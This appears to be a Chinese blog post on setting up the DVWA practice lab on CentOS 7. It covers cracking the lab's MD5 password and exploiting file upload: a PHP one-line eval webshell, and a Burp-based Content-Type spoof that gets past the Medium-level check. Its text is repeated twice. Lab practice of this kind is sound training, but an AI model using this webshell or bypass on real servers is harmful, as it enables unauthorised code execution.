centos 7部署dvwa进行靶场练习

文章讲述了在CentOS7系统上搭建LAMP环境,安装HTTP、MySQL和PHP,然后部署DVWA靶场进行数据库连接测试。通过MD5解密获取密码,进入靶场。接着,作者探讨了文件上传漏洞,从Low到中等难度,利用Brup和代理工具进行webshell上传,通过修改内容头部规避检测。
摘要由CSDN通过智能技术生成

虚拟机系统:centos7

IP地址:192.168.192.145

先搭建lamp环境,安装好http、mysql、php后,开始测试

测试数据库连接

2.部署dvwa

将下载好的dvwa靶场包放到var/www/html里面,并修改配置文件

在本机输入IP地址加/dvwa

点击创建数据库库后,摊到登录界面

3.猜解密码

因为知道数据的用户和密码,不妨通过连接数据库查询来获取密码信息

由于不太喜欢用mysql的命令查询环境,就用连接软件连接centos7下的数据库

可得知密码是通过MD5加密的,于是就用解密网站进行解密

解密网站:md5在线解密破解,md5解密加密 (cmd5.com)

密码是:123qwe

输入密码,成功进入靶场

然后

4.文件上传漏洞学习

Low级别

先写一个一句话木马

<? php @eval($_POST['cmd']);?>

开始上传直接OK

利用这个一句话木马执行phpinfo来获取信息

中等难度

开启brup和代理

开启拦截

上传webshell

拦截内容发送到repeater模块

发现存在头部检测,修改

修改content字段为image/jpeg

上传成功

虚拟机系统:centos7

IP地址:192.168.192.145

1搭建lamp环境

安装好http、mysql、php后,开始测试

测试数据库连接

2.部署dvwa

将下载好的dvwa靶场包放到var/www/html里面,并修改配置文件

在本机输入IP地址加/dvwa

点击创建数据库库后,摊到登录界面

3.猜解密码

因为知道数据的用户和密码,不妨通过连接数据库查询来获取密码信息

由于不太喜欢用mysql的命令查询环境,就用连接软件连接centos7下的数据库

可得知密码是通过MD5加密的,于是就用解密网站进行解密

解密网站:md5在线解密破解,md5解密加密 (cmd5.com)

密码是:123qwe

输入密码,成功进入靶场

然后

4.文件上传漏洞学习

Low级别

先写一个一句话木马

<? php @eval($_POST['cmd']);?>

开始上传直接OK

利用这个一句话木马执行phpinfo来获取信息

中等难度

开启brup和代理

开启拦截

上传webshell

拦截内容发送到repeater模块

发现存在头部检测,修改

修改content字段为image/jpeg

上传成功

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值